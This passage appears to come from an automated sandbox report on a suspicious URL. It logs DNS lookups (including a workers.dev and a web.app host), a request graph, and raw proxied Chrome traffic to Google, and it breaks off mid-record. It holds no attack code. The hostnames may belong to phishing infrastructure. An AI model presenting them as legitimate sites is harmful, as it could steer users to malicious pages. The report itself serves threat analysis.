Apr 29, 2024 02:01:35.116137028 CEST	192.168.2.4	1.1.1.1	0x23aa	Standard query (0)	img2.pngdownload.id	65	IN (0x0001)	false
Apr 29, 2024 02:01:38.913470030 CEST	192.168.2.4	1.1.1.1	0xd756	Standard query (0)	hiirscktcy.web.app	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:38.913695097 CEST	192.168.2.4	1.1.1.1	0xd7cc	Standard query (0)	hiirscktcy.web.app	65	IN (0x0001)	false
Apr 29, 2024 02:01:38.918272018 CEST	192.168.2.4	1.1.1.1	0xa0a4	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:38.918450117 CEST	192.168.2.4	1.1.1.1	0x1b1e	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:38.926928997 CEST	192.168.2.4	1.1.1.1	0x611b	Standard query (0)	image.similarpng.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:38.927407980 CEST	192.168.2.4	1.1.1.1	0x12ee	Standard query (0)	image.similarpng.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:38.928591967 CEST	192.168.2.4	1.1.1.1	0xe452	Standard query (0)	www.pinclipart.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:38.928889036 CEST	192.168.2.4	1.1.1.1	0x8fa7	Standard query (0)	www.pinclipart.com	65	IN (0x0001)	false
Apr 29, 2024 02:01:38.931294918 CEST	192.168.2.4	1.1.1.1	0xd183	Standard query (0)	img2.pngdownload.id	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:38.931607962 CEST	192.168.2.4	1.1.1.1	0x122f	Standard query (0)	img2.pngdownload.id	65	IN (0x0001)	false
Apr 29, 2024 02:01:43.068583965 CEST	192.168.2.4	1.1.1.1	0xc61b	Standard query (0)	blobs.officehome.msocdn.com	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:43.068991899 CEST	192.168.2.4	1.1.1.1	0xa34f	Standard query (0)	blobs.officehome.msocdn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 29, 2024 02:01:21.420157909 CEST	1.1.1.1	192.168.2.4	0x21fa	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 29, 2024 02:01:21.420186996 CEST	1.1.1.1	192.168.2.4	0x3f0f	No error (0)	www.google.com		142.250.191.100	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.075311899 CEST	1.1.1.1	192.168.2.4	0x62e6	No error (0)	cloudsss-c367.iardainwkasn.workers.dev		104.21.35.193	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.075311899 CEST	1.1.1.1	192.168.2.4	0x62e6	No error (0)	cloudsss-c367.iardainwkasn.workers.dev		172.67.178.217	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.077044010 CEST	1.1.1.1	192.168.2.4	0x5d81	No error (0)	cloudsss-c367.iardainwkasn.workers.dev			65	IN (0x0001)	false
Apr 29, 2024 02:01:23.740704060 CEST	1.1.1.1	192.168.2.4	0x1f48	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.740704060 CEST	1.1.1.1	192.168.2.4	0x1f48	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.740704060 CEST	1.1.1.1	192.168.2.4	0x1f48	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:23.740704060 CEST	1.1.1.1	192.168.2.4	0x1f48	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.161457062 CEST	1.1.1.1	192.168.2.4	0x70f8	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.161457062 CEST	1.1.1.1	192.168.2.4	0x70f8	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.162570953 CEST	1.1.1.1	192.168.2.4	0x7c0c	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 29, 2024 02:01:34.163872957 CEST	1.1.1.1	192.168.2.4	0x2a11	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:34.164293051 CEST	1.1.1.1	192.168.2.4	0x74c9	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:34.167359114 CEST	1.1.1.1	192.168.2.4	0x5bd4	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 29, 2024 02:01:34.168083906 CEST	1.1.1.1	192.168.2.4	0xc627	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.168083906 CEST	1.1.1.1	192.168.2.4	0xc627	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.180305004 CEST	1.1.1.1	192.168.2.4	0xd84f	No error (0)	hiirscktcy.web.app		199.36.158.100	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.731205940 CEST	1.1.1.1	192.168.2.4	0x114b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:34.731205940 CEST	1.1.1.1	192.168.2.4	0x114b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.224216938 CEST	1.1.1.1	192.168.2.4	0x5cbe	No error (0)	www.pinclipart.com		173.208.137.67	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.224273920 CEST	1.1.1.1	192.168.2.4	0x2013	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:35.224903107 CEST	1.1.1.1	192.168.2.4	0x2e02	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:35.240112066 CEST	1.1.1.1	192.168.2.4	0x23aa	No error (0)	img2.pngdownload.id			65	IN (0x0001)	false
Apr 29, 2024 02:01:35.246412992 CEST	1.1.1.1	192.168.2.4	0x1fcc	No error (0)	image.similarpng.com	similarpng.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:35.246412992 CEST	1.1.1.1	192.168.2.4	0x1fcc	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com		104.18.42.227	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.246412992 CEST	1.1.1.1	192.168.2.4	0x1fcc	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com		172.64.145.29	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.247363091 CEST	1.1.1.1	192.168.2.4	0xcae8	No error (0)	img2.pngdownload.id		104.21.51.164	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.247363091 CEST	1.1.1.1	192.168.2.4	0xcae8	No error (0)	img2.pngdownload.id		172.67.182.162	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:35.335596085 CEST	1.1.1.1	192.168.2.4	0xfc29	No error (0)	image.similarpng.com	similarpng.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:35.335596085 CEST	1.1.1.1	192.168.2.4	0xfc29	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com			65	IN (0x0001)	false
Apr 29, 2024 02:01:35.538348913 CEST	1.1.1.1	192.168.2.4	0xd759	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:35.538348913 CEST	1.1.1.1	192.168.2.4	0xd759	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.029342890 CEST	1.1.1.1	192.168.2.4	0xa0a4	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:39.031378031 CEST	1.1.1.1	192.168.2.4	0x1b1e	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:39.039911985 CEST	1.1.1.1	192.168.2.4	0xe452	No error (0)	www.pinclipart.com		173.208.137.67	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.053246021 CEST	1.1.1.1	192.168.2.4	0x122f	No error (0)	img2.pngdownload.id			65	IN (0x0001)	false
Apr 29, 2024 02:01:39.054732084 CEST	1.1.1.1	192.168.2.4	0xd756	No error (0)	hiirscktcy.web.app		199.36.158.100	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.061717987 CEST	1.1.1.1	192.168.2.4	0x12ee	No error (0)	image.similarpng.com	similarpng.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:39.061717987 CEST	1.1.1.1	192.168.2.4	0x12ee	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com			65	IN (0x0001)	false
Apr 29, 2024 02:01:39.090368032 CEST	1.1.1.1	192.168.2.4	0x611b	No error (0)	image.similarpng.com	similarpng.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:39.090368032 CEST	1.1.1.1	192.168.2.4	0x611b	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com		104.18.42.227	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.090368032 CEST	1.1.1.1	192.168.2.4	0x611b	No error (0)	similarpng.nyc3.cdn.digitaloceanspaces.com		172.64.145.29	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.222832918 CEST	1.1.1.1	192.168.2.4	0xd183	No error (0)	img2.pngdownload.id		172.67.182.162	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:39.222832918 CEST	1.1.1.1	192.168.2.4	0xd183	No error (0)	img2.pngdownload.id		104.21.51.164	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:01:43.179789066 CEST	1.1.1.1	192.168.2.4	0xc61b	No error (0)	blobs.officehome.msocdn.com	wildcard.officehome.msocdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:43.213295937 CEST	1.1.1.1	192.168.2.4	0xa34f	No error (0)	blobs.officehome.msocdn.com	wildcard.officehome.msocdn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:55.501111031 CEST	1.1.1.1	192.168.2.4	0x8d81	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:01:55.501111031 CEST	1.1.1.1	192.168.2.4	0x8d81	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:02:17.540967941 CEST	1.1.1.1	192.168.2.4	0xfb29	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:02:17.540967941 CEST	1.1.1.1	192.168.2.4	0xfb29	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 29, 2024 02:02:34.754188061 CEST	1.1.1.1	192.168.2.4	0x1fa1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 29, 2024 02:02:34.754188061 CEST	1.1.1.1	192.168.2.4	0x1fa1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

cloudsss-c367.iardainwkasn.workers.dev

https:

code.jquery.com

fs.microsoft.com

maxcdn.bootstrapcdn.com

hiirscktcy.web.app

cdnjs.cloudflare.com

slscr.update.microsoft.com

image.similarpng.com

www.pinclipart.com

img2.pngdownload.id

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:22 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:22 UTC	1703	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-1uG_0C7xmV9TugLqyHT8hQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-29 00:01:22 UTC	760	IN	Data Raw: 32 66 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 61 70 72 69 6c 20 32 38 22 2c 22 72 6f 62 6c 6f 78 20 61 6e 69 6d 65 20 73 77 69 74 63 68 20 63 6f 64 65 73 22 2c 22 6e 62 61 20 62 75 63 6b 73 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 74 6f 64 61 79 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 63 6f 6c 61 20 32 30 32 35 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 73 6e 6f 77 20 74 6f 74 61 6c 73 22 2c 22 78 62 6f 78 20 66 61 6c 6c 6f 75 74 20 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c Data Ascii: 2f1)]}'["",["nyt strands hints april 28","roblox anime switch codes","nba bucks","powerball lottery numbers","spacex falcon 9 rocket launch today","social security cola 2025","colorado snow totals","xbox fallout 5"],["","","","","","","",""],[],{"googl
2024-04-29 00:01:22 UTC	1255	IN	Data Raw: 64 64 36 0d 0a 33 51 55 46 49 5a 30 4a 42 57 56 51 33 4c 7a 68 6b 57 54 52 58 65 6c 59 35 61 57 31 35 64 58 49 31 54 30 35 73 62 6d 30 32 64 55 70 35 5a 58 4a 4c 53 44 59 33 64 47 74 72 56 57 6c 30 55 32 4a 46 62 47 52 6a 62 45 4d 7a 64 32 4a 75 63 7a 63 72 4d 30 38 78 59 7a 6c 58 59 7a 46 34 53 57 46 73 51 58 4a 57 65 6d 4a 6c 4e 48 51 30 51 55 56 6e 51 54 68 5a 56 56 5a 76 5a 31 63 79 53 57 31 76 63 30 4e 54 55 31 64 78 64 48 45 77 51 55 46 33 51 6c 68 49 65 6b 6c 52 51 55 46 42 52 31 5a 46 62 45 56 52 56 6c 4a 4a 61 56 67 78 57 47 4a 5a 54 32 6c 32 51 54 56 30 53 31 64 43 4e 57 68 33 53 56 64 43 51 57 56 77 55 6c 46 78 51 33 6c 78 63 6e 49 76 5a 69 73 76 4e 30 78 68 62 7a 67 30 65 6b 38 33 54 31 52 45 63 6d 6c 52 4f 56 52 59 53 31 4e 77 61 44 42 42 4d Data Ascii: dd63QUFIZ0JBWVQ3LzhkWTRXelY5aW15dXI1T05sbm02dUp5ZXJLSDY3dGtrVWl0U2JFbGRjbEMzd2JuczcrM08xYzlXYzF4SWFsQXJWemJlNHQ0QUVnQThZVVZvZ1cySW1vc0NTU1dxdHEwQUF3QlhIeklRQUFBR1ZFbEVRVlJJaVgxWGJZT2l2QTV0S1dCNWh3SVdCQWVwUlFxQ3lxcnIvZisvN0xhbzg0ek83T1REcmlROVRYS1NwaDBBM
2024-04-29 00:01:22 UTC	1255	IN	Data Raw: 6e 56 6d 59 55 6c 77 54 56 4e 72 63 6c 4d 77 59 55 34 72 59 31 41 79 5a 48 70 32 62 45 4e 6c 53 31 4e 73 4c 33 70 31 63 58 46 58 55 58 46 48 4d 47 64 45 62 6a 42 33 62 6b 34 78 4e 57 39 56 56 32 74 58 55 45 35 51 4f 58 70 52 51 6e 45 78 52 57 64 70 53 31 4e 79 4f 57 67 31 4e 44 4e 7a 65 55 39 77 53 7a 51 33 4e 7a 68 6c 56 6a 6c 50 56 57 46 7a 4d 46 42 69 61 30 52 31 55 58 6b 33 5a 79 38 78 64 6d 4e 47 56 30 68 79 59 57 56 75 54 30 52 6f 4d 56 56 43 53 44 68 4c 4e 31 64 73 61 57 46 50 56 54 52 49 57 58 52 32 4d 6d 4e 53 64 30 31 36 55 6c 6f 78 65 44 55 35 4d 6e 46 4e 56 6e 70 78 4e 32 4e 46 51 33 5a 55 56 56 6c 54 55 30 59 79 54 32 52 34 4e 56 6f 33 55 44 64 74 52 54 68 46 62 45 39 77 4f 45 35 50 54 33 56 76 53 33 45 72 52 55 70 61 63 45 55 72 62 47 74 30 Data Ascii: nVmYUlwTVNrclMwYU4rY1AyZHp2bENlS1NsL3p1cXFXUXFHMGdEbjB3bk4xNW9VV2tXUE5QOXpRQnExRWdpS1NyOWg1NDNzeU9wSzQ3NzhlVjlPVWFzMFBia0R1UXk3Zy8xdmNGV0hyYWVuT0RoMVVCSDhLN1dsaWFPVTRIWXR2MmNSd016UloxeDU5MnFNVnpxN2NFQ3ZUVVlTU0YyT2R4NVo3UDdtRThFbE9wOE5PT3VvS3ErRUpacEUrbGt0
2024-04-29 00:01:22 UTC	1039	IN	Data Raw: 51 6d 64 32 56 6b 31 47 52 56 52 4b 56 31 68 50 59 56 67 34 59 55 78 78 64 6d 68 36 4b 31 67 79 52 57 5a 6d 59 6b 77 31 5a 45 35 33 62 47 74 53 53 46 6c 69 4f 58 67 7a 56 56 46 33 4d 6a 55 78 54 58 46 4a 63 56 70 35 65 58 59 78 4e 55 59 33 51 57 52 6d 53 6b 46 68 5a 6d 52 31 52 6d 6c 75 57 6d 59 33 65 56 42 48 62 6a 64 4e 64 6c 46 32 61 6d 64 42 4e 30 6c 4d 65 6b 6c 31 4f 58 68 31 63 43 74 32 4d 57 5a 43 64 6a 49 31 62 55 73 30 51 55 68 76 52 7a 41 7a 4e 32 52 4f 54 7a 6c 32 64 44 64 5a 63 55 4d 79 54 58 68 59 57 46 6b 7a 54 32 56 36 52 7a 46 69 51 31 68 6b 51 6a 5a 49 4d 44 6c 76 61 55 59 7a 51 56 6b 76 54 6c 59 78 62 56 52 69 5a 6a 4d 33 5a 48 52 36 4d 6b 4a 30 51 32 55 35 52 46 6c 70 4e 44 4d 30 53 69 74 75 62 79 74 35 59 58 64 6b 59 57 6b 32 55 55 70 Data Ascii: Qmd2Vk1GRVRKV1hPYVg4YUxxdmh6K1gyRWZmYkw1ZE53bGtSSFliOXgzVVF3MjUxTXFJcVp5eXYxNUY3QWRmSkFhZmR1RmluWmY3eVBHbjdNdlF2amdBN0lMekl1OXh1cCt2MWZCdjI1bUs0QUhvRzAzN2ROTzl2dDdZcUMyTXhYWFkzT2V6RzFiQ1hkQjZIMDlvaUYzQVkvTlYxbVRiZjM3ZHR6MkJ0Q2U5RFlpNDM0Situbyt5YXdkYWk2UUp
2024-04-29 00:01:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:22 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:23 UTC	1815	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgRRtT5aGNLGu7EGIjCwe3OWMlIbLrAaFHz9bvBUAhQ2bwb0oNT6lyHHBU6jhTnQlT54q8_GMSgQOnJ4LlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgsI08a7sQYQn6rHdhIEUbU-Wg Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 29 Apr 2024 00:01:23 GMT Server: gws Content-Length: 427 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-29-00; expires=Wed, 29-May-2024 00:01:23 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=b1lO-f-72vb71R_iB0PvLZ95OpOa_OyCnRx8naX63kFm-D_bz42Rh6w6fd9gQvAqhYFxAvqcY6MgZtOqoObMTBfpKttkXy9frNXmKib1Kj9Q0W3pEcvTM301pE72Owd1KzsTCC-pJxCQY2swZejBc3F50qzqHlKqoEx2h0Vs92U; expires=Tue, 29-Oct-2024 00:01:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:23 UTC	427	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 64 64 6c 6a 73 6f 6e 25 33 46 61 73 79 6e Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/ddljson%3Fasyn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:22 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:23 UTC	1703	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:22 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-sfQJhWLKvM5rGzBfBj5Zug' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: 